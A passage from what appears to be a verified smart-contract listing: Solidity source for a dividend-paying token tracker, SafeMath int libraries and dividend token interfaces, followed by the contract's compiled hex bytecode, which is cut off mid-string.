/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function withdrawDividend() public virtual override {
_withdrawDividendOfUser(payable(msg.sender));
}
/// @notice Withdraws the ether distributed to the sender.
/// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0.
function _withdrawDividendOfUser(address payable user) internal returns (uint256) {
uint256 _withdrawableDividend = withdrawableDividendOf(user);
if (_withdrawableDividend > 0) {
withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend);
emit DividendWithdrawn(user, _withdrawableDividend);
(bool success,) = user.call{value: _withdrawableDividend, gas: 3000}("");
if(!success) {
withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend);
return 0;
}
return _withdrawableDividend;
}
return 0;
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) public view override returns(uint256) {
return withdrawableDividendOf(_owner);
}
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) public view override returns(uint256) {
return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]);
}
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) public view override returns(uint256) {
return withdrawnDividends[_owner];
}
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) public view override returns(uint256) {
return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe()
.add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude;
}
/// @dev Internal function that transfer tokens from one address to another.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param from The address to transfer from.
/// @param to The address to transfer to.
/// @param value The amount to be transferred.
function _transfer(address from, address to, uint256 value) internal virtual override {
require(false);
int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe();
magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection);
magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection);
}
/// @dev Internal function that mints tokens to an account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account that will receive the created tokens.
/// @param value The amount that will be created.
function _mint(address account, uint256 value) internal override {
super._mint(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
/// @dev Internal function that burns an amount of the token of a given account.
/// Update magnifiedDividendCorrections to keep dividends unchanged.
/// @param account The account whose tokens will be burnt.
/// @param value The amount that will be burnt.
function _burn(address account, uint256 value) internal override {
super._burn(account, value);
magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account]
.add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() );
}
function _setBalance(address account, uint256 newBalance) internal {
uint256 currentBalance = balanceOf(account);
if(newBalance > currentBalance) {
uint256 mintAmount = newBalance.sub(currentBalance);
_mint(account, mintAmount);
} else if(newBalance < currentBalance) {
uint256 burnAmount = currentBalance.sub(newBalance);
_burn(account, burnAmount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title SafeMathUint
* @dev Math operations with safety checks that revert on error
*/
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
// SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity ^0.8.0;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title Dividend-Paying Token Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev An interface for a dividend-paying token contract.
interface IDividendPayingToken {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) external view returns(uint256);
/// @notice Distributes ether to token holders as dividends.
/// @dev SHOULD distribute the paid ether to token holders as dividends.
/// SHOULD NOT directly transfer ether to token holders in this function.
/// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0.
function distributeDividends() external payable;
/// @notice Withdraws the ether distributed to the sender.
/// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend() external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title Dividend-Paying Token Optional Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev OPTIONAL functions for a dividend-paying token contract.
interface IDividendPayingTokenOptional {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) external view returns(uint256);
}
| 0x60806040526004361061026b5760003560e01c80638c0344db11610144578063b62496f5116100b6578063e2f456051161007a578063e2f45605146106c6578063e37ba8f9146106db578063e7841ec0146106fb578063e98030c714610710578063f27fd25414610730578063f2fde38b1461075057610272565b8063b62496f514610631578063c024666814610651578063c492f04614610671578063d469801614610691578063dd62ed3e146106a657610272565b80639c1b8af5116101085780639c1b8af514610573578063a26579ad14610588578063a457c2d71461059d578063a8b9d240146105bd578063a9059cbb146105dd578063ad56c13c146105fd57610272565b80638c0344db146104ff5780638da5cb5b1461051457806395d89b411461052957806398118cb41461053e5780639a7a23d61461055357610272565b806349bd5a5e116101dd5780636843cd84116101a15780636843cd841461044a578063700bb1911461046a57806370a082311461048a578063715018a6146104aa578063871c128d146104bf57806388bdd9be146104df57610272565b806349bd5a5e146103c95780634e71d92d146103de5780634fbee193146103f557806364b0f6531461041557806365b8dbc01461042a57610272565b806322bd3f7f1161022f57806322bd3f7f1461032857806323b872dd1461033d5780632c1f52161461035d57806330bb4cff14610372578063313ce5671461038757806339509351146103a957610272565b806306fdde0314610277578063095ea7b3146102a257806313114a9d146102cf5780631694505e146102f157806318160ddd1461031357610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c610770565b604051610299919061277e565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd366004612509565b610802565b6040516102999190612773565b3480156102db57600080fd5b506102e461081f565b6040516102999190612de0565b3480156102fd57600080fd5b50610306610843565b60405161029991906126c6565b34801561031f57600080fd5b506102e4610852565b34801561033457600080fd5b506102e4610858565b34801561034957600080fd5b506102c2610358366004612433565b61087c565b34801561036957600080fd5b50610306610915565b34801561037e57600080fd5b506102e4610924565b34801561039357600080fd5b5061039c6109a6565b6040516102999190612e4e565b3480156103b557600080fd5b506102c26103c4366004612509565b6109ab565b3480156103d557600080fd5b506103066109ff565b3480156103ea57600080fd5b506103f3610a23565b005b34801561040157600080fd5b506102c26104103660046123c3565b610aab565b34801561042157600080fd5b506102e4610acd565b34801561043657600080fd5b506103f36104453660046123c3565b610b12565b34801561045657600080fd5b506102e46104653660046123c3565b610bdc565b34801561047657600080fd5b506103f3610485366004612623565b610c63565b34801561049657600080fd5b506102e46104a53660046123c3565b610d44565b3480156104b657600080fd5b506103f3610d5f565b3480156104cb57600080fd5b506103f36104da366004612623565b610daa565b3480156104eb57600080fd5b506103f36104fa3660046123c3565b610e70565b34801561050b57600080fd5b506102e4611165565b34801561052057600080fd5b50610306611189565b34801561053557600080fd5b5061028c611198565b34801561054a57600080fd5b506102e46111a7565b34801561055f57600080fd5b506103f361056e366004612473565b6111cb565b34801561057f57600080fd5b506102e461126a565b34801561059457600080fd5b506102e4611270565b3480156105a957600080fd5b506102c26105b8366004612509565b6112b5565b3480156105c957600080fd5b506102e46105d83660046123c3565b61132e565b3480156105e957600080fd5b506102c26105f8366004612509565b61135f565b34801561060957600080fd5b5061061d6106183660046123c3565b611373565b60405161029998979695949392919061270e565b34801561063d57600080fd5b506102c261064c3660046123c3565b611420565b34801561065d57600080fd5b506103f361066c366004612473565b611435565b34801561067d57600080fd5b506103f361068c366004612534565b611513565b34801561069d57600080fd5b50610306611605565b3480156106b257600080fd5b506102e46106c13660046123fb565b611614565b3480156106d257600080fd5b506102e461163f565b3480156106e757600080fd5b506103f36106f63660046123c3565b611645565b34801561070757600080fd5b506102e461171a565b34801561071c57600080fd5b506103f361072b366004612623565b61175f565b34801561073c57600080fd5b5061061d61074b366004612623565b611803565b34801561075c57600080fd5b506103f361076b3660046123c3565b611844565b60606003805461077f90612eca565b80601f01602080910402602001604051908101604052809291908181526020018280546107ab90612eca565b80156107f85780601f106107cd576101008083540402835291602001916107f8565b820191906000526020600020905b8154815290600101906020018083116107db57829003601f168201915b5050505050905090565b600061081661080f6118c5565b84846118c9565b50600192915050565b7f000000000000000000000000000000000000000000000000000000000000001081565b6007546001600160a01b031681565b60025490565b7f000000000000000000000000000000000000000000000000000000000000007881565b600061088984848461197d565b6001600160a01b0384166000908152600160205260408120816108aa6118c5565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156108f65760405162461bcd60e51b81526004016108ed90612a95565b60405180910390fd5b61090a856109026118c5565b8584036118c9565b506001949350505050565b6008546001600160a01b031681565b600854604080516342d359d760e11b815290516000926001600160a01b0316916385a6b3ae916004808301926020929190829003018186803b15801561096957600080fd5b505afa15801561097d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a1919061263b565b905090565b601290565b60006108166109b86118c5565b8484600160006109c66118c5565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546109fa9190612e5c565b6118c9565b7f0000000000000000000000002a18e9a2c6e24ed5d2371c0c0b64328604d1679281565b60085460405163bc4c4b3760e01b81526001600160a01b039091169063bc4c4b3790610a569033906000906004016126da565b602060405180830381600087803b158015610a7057600080fd5b505af1158015610a84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa89190612607565b50565b6001600160a01b0381166000908152600c602052604090205460ff165b919050565b600854604080516304ddf6ef60e11b815290516000926001600160a01b0316916309bbedde916004808301926020929190829003018186803b15801561096957600080fd5b610b1a6118c5565b6001600160a01b0316610b2b611189565b6001600160a01b031614610b515760405162461bcd60e51b81526004016108ed90612b32565b6007546001600160a01b0382811691161415610b7f5760405162461bcd60e51b81526004016108ed90612814565b6007546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6008546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c0d9085906004016126c6565b60206040518083038186803b158015610c2557600080fd5b505afa158015610c39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5d919061263b565b92915050565b6008546040516001624d3b8760e01b03198152600091829182916001600160a01b03169063ffb2c47990610c9b908790600401612de0565b606060405180830381600087803b158015610cb557600080fd5b505af1158015610cc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ced9190612653565b925092509250326001600160a01b0316600015157fc864333d6121033635ab41b29ae52f10a22cf4438c3e4f1c4c68518feb2f8a9885858589604051610d369493929190612e33565b60405180910390a350505050565b6001600160a01b031660009081526020819052604090205490565b610d676118c5565b6001600160a01b0316610d78611189565b6001600160a01b031614610d9e5760405162461bcd60e51b81526004016108ed90612b32565b610da86000611dbf565b565b610db26118c5565b6001600160a01b0316610dc3611189565b6001600160a01b031614610de95760405162461bcd60e51b81526004016108ed90612b32565b62030d408110158015610dff57506207a1208111155b610e1b5760405162461bcd60e51b81526004016108ed90612b67565b600b54811415610e3d5760405162461bcd60e51b81526004016108ed90612cbe565b600b5460405182907f40d7e40e79af4e8e5a9b3c57030d8ea93f13d669c06d448c4d631d4ae7d23db790600090a3600b55565b610e786118c5565b6001600160a01b0316610e89611189565b6001600160a01b031614610eaf5760405162461bcd60e51b81526004016108ed90612b32565b6008546001600160a01b0382811691161415610edd5760405162461bcd60e51b81526004016108ed90612add565b6000819050306001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2557600080fd5b505afa158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d91906123df565b6001600160a01b031614610f835760405162461bcd60e51b81526004016108ed90612c09565b60405163031e79db60e41b81526001600160a01b038216906331e79db090610faf9084906004016126c6565b600060405180830381600087803b158015610fc957600080fd5b505af1158015610fdd573d6000803e3d6000fd5b505060405163031e79db60e41b81526001600160a01b03841692506331e79db0915061100d9030906004016126c6565b600060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b50505050806001600160a01b03166331e79db0611056611189565b6040518263ffffffff1660e01b815260040161107291906126c6565b600060405180830381600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b505060075460405163031e79db60e41b81526001600160a01b0380861694506331e79db093506110d49216906004016126c6565b600060405180830381600087803b1580156110ee57600080fd5b505af1158015611102573d6000803e3d6000fd5b50506008546040516001600160a01b03918216935090851691507f90c7d74461c613da5efa97d90740869367d74ab3aa5837aa4ae9a975f954b7a890600090a3600880546001600160a01b0319166001600160a01b039290921691909117905550565b7f000000000000000000000000000000000000000000000000000000000000000b81565b6005546001600160a01b031690565b60606004805461077f90612eca565b7f000000000000000000000000000000000000000000000000000000000000000581565b6111d36118c5565b6001600160a01b03166111e4611189565b6001600160a01b03161461120a5760405162461bcd60e51b81526004016108ed90612b32565b7f0000000000000000000000002a18e9a2c6e24ed5d2371c0c0b64328604d167926001600160a01b0316826001600160a01b0316141561125c5760405162461bcd60e51b81526004016108ed90612a22565b6112668282611e11565b5050565b600b5481565b60085460408051631bc9e27b60e21b815290516000926001600160a01b031691636f2789ec916004808301926020929190829003018186803b15801561096957600080fd5b600080600160006112c46118c5565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156113105760405162461bcd60e51b81526004016108ed90612d9b565b61132461131b6118c5565b858584036118c9565b5060019392505050565b6008546040516302a2e74960e61b81526000916001600160a01b03169063a8b9d24090610c0d9085906004016126c6565b600061081661136c6118c5565b848461197d565b60085460405163fbcbc0f160e01b815260009182918291829182918291829182916001600160a01b039091169063fbcbc0f1906113b4908c906004016126c6565b6101006040518083038186803b1580156113cd57600080fd5b505afa1580156113e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140591906124a0565b97509750975097509750975097509750919395975091939597565b600e6020526000908152604090205460ff1681565b61143d6118c5565b6001600160a01b031661144e611189565b6001600160a01b0316146114745760405162461bcd60e51b81526004016108ed90612b32565b6001600160a01b0382166000908152600c602052604090205460ff16151581151514156114b35760405162461bcd60e51b81526004016108ed90612d12565b6001600160a01b0382166000818152600c602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df790611507908490612773565b60405180910390a25050565b61151b6118c5565b6001600160a01b031661152c611189565b6001600160a01b0316146115525760405162461bcd60e51b81526004016108ed90612b32565b60005b82518110156115c75781600c600085848151811061158357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806115bf81612f05565b915050611555565b507f7fdaf542373fa84f4ee8d662c642f44e4c2276a217d7d29e548b6eb29a233b3582826040516115f992919061274f565b60405180910390a15050565b6009546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a5481565b61164d6118c5565b6001600160a01b031661165e611189565b6001600160a01b0316146116845760405162461bcd60e51b81526004016108ed90612b32565b6009546001600160a01b03828116911614156116b25760405162461bcd60e51b81526004016108ed9061285f565b6116bd816001611435565b6009546040516001600160a01b03918216918316907f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e90600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6008546040805163039e107b60e61b815290516000926001600160a01b03169163e7841ec0916004808301926020929190829003018186803b15801561096957600080fd5b6117676118c5565b6001600160a01b0316611778611189565b6001600160a01b03161461179e5760405162461bcd60e51b81526004016108ed90612b32565b60085460405163e98030c760e01b81526001600160a01b039091169063e98030c7906117ce908490600401612de0565b600060405180830381600087803b1580156117e857600080fd5b505af11580156117fc573d6000803e3d6000fd5b5050505050565b600854604051635183d6fd60e01b815260009182918291829182918291829182916001600160a01b0390911690635183d6fd906113b4908c90600401612de0565b61184c6118c5565b6001600160a01b031661185d611189565b6001600160a01b0316146118835760405162461bcd60e51b81526004016108ed90612b32565b6001600160a01b0381166118a95760405162461bcd60e51b81526004016108ed906128f6565b610aa881611dbf565b60006118be8284612e5c565b9392505050565b3390565b6001600160a01b0383166118ef5760405162461bcd60e51b81526004016108ed90612c7a565b6001600160a01b0382166119155760405162461bcd60e51b81526004016108ed9061293c565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611970908590612de0565b60405180910390a3505050565b6001600160a01b0383166119a35760405162461bcd60e51b81526004016108ed90612bc4565b6001600160a01b0382166119c95760405162461bcd60e51b81526004016108ed906127d1565b806119df576119da83836000611f1c565b611dba565b60006119ea30610d44565b600a5490915081108015908190611a0b5750600754600160a01b900460ff16155b8015611a3057506001600160a01b0385166000908152600e602052604090205460ff16155b8015611a4a57506009546001600160a01b03868116911614155b8015611a6457506009546001600160a01b03858116911614155b15611b03576007805460ff60a01b1916600160a01b1790556000611ad27f0000000000000000000000000000000000000000000000000000000000000010611acc857f0000000000000000000000000000000000000000000000000000000000000005612046565b90612052565b9050611add8161205e565b6000611ae830610d44565b9050611af381612138565b50506007805460ff60a01b191690555b6007546001600160a01b0386166000908152600c602052604090205460ff600160a01b909204821615911680611b5157506001600160a01b0385166000908152600c602052604090205460ff165b15611b5a575060005b8015611c00576000611b916064611acc877f0000000000000000000000000000000000000000000000000000000000000010612046565b6001600160a01b0387166000908152600e602052604090205490915060ff1615611be757611be46064611acc837f0000000000000000000000000000000000000000000000000000000000000078612046565b90505b611bf185826121ed565b9450611bfe873083611f1c565b505b611c0b868686611f1c565b6008546001600160a01b031663e30443bc87611c2681610d44565b6040518363ffffffff1660e01b8152600401611c439291906126f5565b600060405180830381600087803b158015611c5d57600080fd5b505af1925050508015611c6e575060015b506008546001600160a01b031663e30443bc86611c8a81610d44565b6040518363ffffffff1660e01b8152600401611ca79291906126f5565b600060405180830381600087803b158015611cc157600080fd5b505af1925050508015611cd2575060015b50600754600160a01b900460ff16611db657600b546008546040516001624d3b8760e01b031981526001600160a01b039091169063ffb2c47990611d1a908490600401612de0565b606060405180830381600087803b158015611d3457600080fd5b505af1925050508015611d64575060408051601f3d908101601f19168201909252611d6191810190612653565b60015b611d6d57611db4565b60405132906001907fc864333d6121033635ab41b29ae52f10a22cf4438c3e4f1c4c68518feb2f8a9890611da8908790879087908b90612e33565b60405180910390a35050505b505b5050505b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152600e602052604090205460ff1615158115151415611e505760405162461bcd60e51b81526004016108ed9061297e565b6001600160a01b0382166000908152600e60205260409020805460ff19168215801591909117909155611ee05760085460405163031e79db60e41b81526001600160a01b03909116906331e79db090611ead9085906004016126c6565b600060405180830381600087803b158015611ec757600080fd5b505af1158015611edb573d6000803e3d6000fd5b505050505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6001600160a01b038316611f425760405162461bcd60e51b81526004016108ed90612bc4565b6001600160a01b038216611f685760405162461bcd60e51b81526004016108ed906127d1565b611f73838383611dba565b6001600160a01b03831660009081526020819052604090205481811015611fac5760405162461bcd60e51b81526004016108ed906129dc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611fe3908490612e5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202d9190612de0565b60405180910390a3612040848484611dba565b50505050565b60006118be8284612e94565b60006118be8284612e74565b47612068826121f9565b600061207447836121ed565b90506000612080611189565b6001600160a01b031682604051612096906126c3565b60006040518083038185875af1925050503d80600081146120d3576040519150601f19603f3d011682016040523d82523d6000602084013e6120d8565b606091505b50509050806120f95760405162461bcd60e51b81526004016108ed906128b3565b7f60d74f5dbb4027221d0cf625a0871e14e920afe1f30b2924045c56b57e351d34848360405161212a929190612e25565b60405180910390a150505050565b612141816121f9565b60085460405147916000916001600160a01b03909116908390612163906126c3565b60006040518083038185875af1925050503d80600081146121a0576040519150601f19603f3d011682016040523d82523d6000602084013e6121a5565b606091505b505090508015611dba577f80195cc573b02cc48460cbca6e6e4cc85ddb91959d946e1c3025ea3d87942dc383836040516121e0929190612e25565b60405180910390a1505050565b60006118be8284612eb3565b6002600654141561221c5760405162461bcd60e51b81526004016108ed90612d64565b60026006819055604080518281526060810182526000929091602083019080368337019050509050308160008151811061226657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156122ba57600080fd5b505afa1580156122ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122f291906123df565b8160018151811061231357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260075461233991309116846118c9565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790612372908590600090869030904290600401612de9565b600060405180830381600087803b15801561238c57600080fd5b505af11580156123a0573d6000803e3d6000fd5b5050600160065550505050565b8035610ac881612f4c565b8035610ac881612f61565b6000602082840312156123d4578081fd5b81356118be81612f4c565b6000602082840312156123f0578081fd5b81516118be81612f4c565b6000806040838503121561240d578081fd5b823561241881612f4c565b9150602083013561242881612f4c565b809150509250929050565b600080600060608486031215612447578081fd5b833561245281612f4c565b9250602084013561246281612f4c565b929592945050506040919091013590565b60008060408385031215612485578182fd5b823561249081612f4c565b9150602083013561242881612f61565b600080600080600080600080610100898b0312156124bc578384fd5b88516124c781612f4c565b809850506020890151965060408901519550606089015194506080890151935060a0890151925060c0890151915060e089015190509295985092959890939650565b6000806040838503121561251b578182fd5b823561252681612f4c565b946020939093013593505050565b60008060408385031215612546578182fd5b823567ffffffffffffffff8082111561255d578384fd5b818501915085601f830112612570578384fd5b813560208282111561258457612584612f36565b808202604051828282010181811086821117156125a3576125a3612f36565b604052838152828101945085830182870184018b10156125c1578889fd5b8896505b848710156125ea576125d6816123ad565b8652600196909601959483019483016125c5565b5096506125fa90508782016123b8565b9450505050509250929050565b600060208284031215612618578081fd5b81516118be81612f61565b600060208284031215612634578081fd5b5035919050565b60006020828403121561264c578081fd5b5051919050565b600080600060608486031215612667578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156126b85781516001600160a01b031687529582019590820190600101612693565b509495945050505050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b03989098168852602088019690965260408701949094526060860192909252608085015260a084015260c083015260e08201526101000190565b6000604082526127626040830185612680565b905082151560208301529392505050565b901515815260200190565b6000602080835283518082850152825b818110156127aa5785810183015185820160400152820161278e565b818111156127bb5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602b908201527f446566696e653a2054686520726f7574657220616c726561647920686173207460408201526a686174206164647265737360a81b606082015260800190565b60208082526034908201527f446566696e653a20546865206c69717569646974792077616c6c657420697320604082015273616c72656164792074686973206164647265737360601b606082015260800190565b60208082526023908201527f4552524f52205452414e5346455220455448204f4e204f574e4552204144445260408201526245535360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b602080825260409082018190527f446566696e653a204175746f6d61746564206d61726b6574206d616b65722070908201527f61697220697320616c72656164792073657420746f20746861742076616c7565606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252604d908201527f446566696e653a205468652050616e63616b655377617020706169722063616e60408201527f6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d617260608201526c6b65744d616b6572506169727360981b608082015260a00190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526035908201527f446566696e653a20546865206469766964656e6420747261636b657220616c7260408201527465616479206861732074686174206164647265737360581b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252603c908201527f446566696e653a20676173466f7250726f63657373696e67206d75737420626560408201527f206265747765656e203230302c30303020616e64203530302c30303000000000606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252604b908201527f446566696e653a20546865206e6577206469766964656e6420747261636b657260408201527f206d757374206265206f776e65642062792074686520446566696e6520746f6b60608201526a195b8818dbdb9d1c9858dd60aa1b608082015260a00190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526034908201527f446566696e653a2043616e6e6f742075706461746520676173466f7250726f63604082015273657373696e6720746f2073616d652076616c756560601b606082015260800190565b60208082526032908201527f446566696e653a204163636f756e7420697320616c7265616479207468652076604082015271616c7565206f6620276578636c756465642760701b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b600086825285602083015260a06040830152612e0860a0830186612680565b6001600160a01b0394909416606083015250608001529392505050565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60008219821115612e6f57612e6f612f20565b500190565b6000